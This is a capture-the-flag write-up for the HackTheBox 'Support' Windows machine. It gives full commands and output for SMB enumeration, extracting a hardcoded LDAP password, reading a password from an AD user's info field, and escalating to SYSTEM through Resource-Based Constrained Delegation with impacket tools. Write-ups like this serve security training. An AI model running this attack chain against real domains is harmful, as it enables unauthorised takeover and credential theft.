> For the complete documentation index, see [llms.txt](https://threadpoolx.gitbook.io/docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://threadpoolx.gitbook.io/docs/htb-writeups/boxes/support.md). # Support **Author:** threadpoolx **Machine:** Support **OS:** Windows **Difficulty:** Easy **Keywords:** Active Directory, SMB Anonymous, Reverse Engineering, C# / .NET, LDAP Enumeration, Information Disclosure, RBCD (Resource-Based Constrained Delegation) ### 1. Reconnaissance #### Nmap Port Scan We begin by identifying the open ports and services running on the target machine (`10.129.230.181`). ``` nmap -p- --min-rate 5000 -T4 -Pn 10.129.230.181 nmap -sC -sV -p 53,88,135,139,389,445,464,593,636,3268,3269,5985,9389 10.129.230.181 ``` The scan reveals a standard Active Directory Domain Controller profile, with DNS (53), Kerberos (88), LDAP (389), SMB (445), and WinRM (5985) exposed. * **Domain:** `support.htb` * **Hostname:** `DC` #### SMB Enumeration With SMB exposed, checking for null sessions or anonymous access is a priority. ``` ┌─[threadpoolx@htb-grkmywcj7l]─[~] └──╼ [★]$ smbclient -N -L //10.129.230.181 Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share IPC$ IPC Remote IPC NETLOGON Disk Logon server share support-tools Disk support staff tools SYSVOL Disk Logon server share ``` The `support-tools` share stands out. Connecting anonymously, we discover several standard IT tools and a custom executable archive: `UserInfo.exe.zip`. ``` smbclient -N //10.129.230.181/support-tools smb: \> get UserInfo.exe.zip ``` ### 2. Initial Access & Enumeration #### Reverse Engineering `UserInfo.exe` Extracting the archive yields a .NET executable. Before fully decompiling, we inspect the binary's 16-bit little-endian strings for hardcoded secrets. ``` ┌─[threadpoolx@htb-grkmywcj7l]─[~] └──╼ [★]$ strings -el UserInfo.exe | grep -i "ldap" -B 2 -A 5 0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E armando LDAP://support.htb support\ldap ``` We identify: 1. **Target:** `LDAP://support.htb` 2. **Bind User:** `support\ldap` 3. **Encryption Key/Salt:** `armando` 4. **Base64 Ciphertext:** `0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E` > **Note on Linux String Truncation:** When using `strings` on Linux against .NET binaries, UTF-16LE strings can sometimes be prematurely truncated if anomalous bytes are encountered. The fully extracted Base64 string from a proper decompiler (like dnSpy) yields the plaintext password: **`nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz`**. Alternatively, we could execute the binary using `dotnet` or `wine` while running `tcpdump` on the VPN interface to capture the cleartext LDAP bind request dynamically. #### LDAP Enumeration (Information Disclosure) Armed with valid service credentials, we query the Domain Controller for all user objects, specifically looking at the `info` attribute. ``` ldapsearch -x -H ldap://10.129.230.181 \ -D 'ldap@support.htb' \ -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' \ -b "dc=support,dc=htb" \ -s sub "(objectClass=user)" sAMAccountName info ``` Scrolling through the output, the IT department made a critical error by storing the `support` user's plaintext password in their account description/info field. ``` # support, Users, support.htb dn: CN=support,CN=Users,DC=support,DC=htb sAMAccountName: support info: Ironside47pleasure40Watchful ``` ### 3. Foothold With the `support` user's credentials (`support : Ironside47pleasure40Watchful`), we can authenticate directly to the Domain Controller via WinRM. ``` ┌─[threadpoolx@htb-grkmywcj7l]─[~] └──╼ [★]$ evil-winrm -i 10.129.230.181 -u support -p 'Ironside47pleasure40Watchful' *Evil-WinRM* PS C:\Users\support\Documents> type ..\Desktop\user.txt [Redacted User Hash] ``` ### 4. Privilege Escalation (RBCD) #### BloodHound & AD Enumeration Running SharpHound from our WinRM session and analyzing the graph in BloodHound reveals that the `support` user is a member of the **Shared Support Accounts** group. This group possesses **GenericAll** privileges over the Domain Controller (`DC$`). #### Executing Resource-Based Constrained Delegation `GenericAll` over a computer object allows us to abuse Resource-Based Constrained Delegation (RBCD). By writing to the DC's `msDS-AllowedToActOnBehalfOfOtherIdentity` attribute, we can permit a machine we control to impersonate any user (including Administrator) to the DC. **Step 1: Create a fake computer account (`ATTACKPC$`)** ``` impacket-addcomputer -computer-name 'ATTACKPC$' -computer-pass 'Pwned123!' \ -dc-ip 10.129.230.181 support.htb/support:'Ironside47pleasure40Watchful' ``` **Step 2: Configure the delegation** ``` impacket-rbcd -delegate-from 'ATTACKPC$' -delegate-to 'DC$' -action 'write' \ -dc-ip 10.129.230.181 support.htb/support:'Ironside47pleasure40Watchful' ``` **Step 3: Forge the Administrator Service Ticket** ``` impacket-getST -spn 'cifs/dc.support.htb' -impersonate 'Administrator' \ -dc-ip 10.129.230.181 support.htb/ATTACKPC\$:'Pwned123!' ``` **Step 4: Pass the Ticket for SYSTEM access** ``` export KRB5CCNAME=Administrator.ccache impacket-psexec -k -no-pass dc.support.htb -target-ip 10.129.230.181 ``` ``` Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation [*] Requesting shares on 10.129.230.181..... [*] Found writable share ADMIN$ [*] Uploading file kKjMv.exe [*] Opening SVCManager on 10.129.230.181..... [*] Starting service kKjMv..... [!] Press help for extra shell commands Microsoft Windows [Version 10.0.20348.740] (c) Microsoft Corporation. All rights reserved. C:\Windows\system32> whoami nt authority\system C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt [Redacted Root Hash] ``` **Machine Pwned.**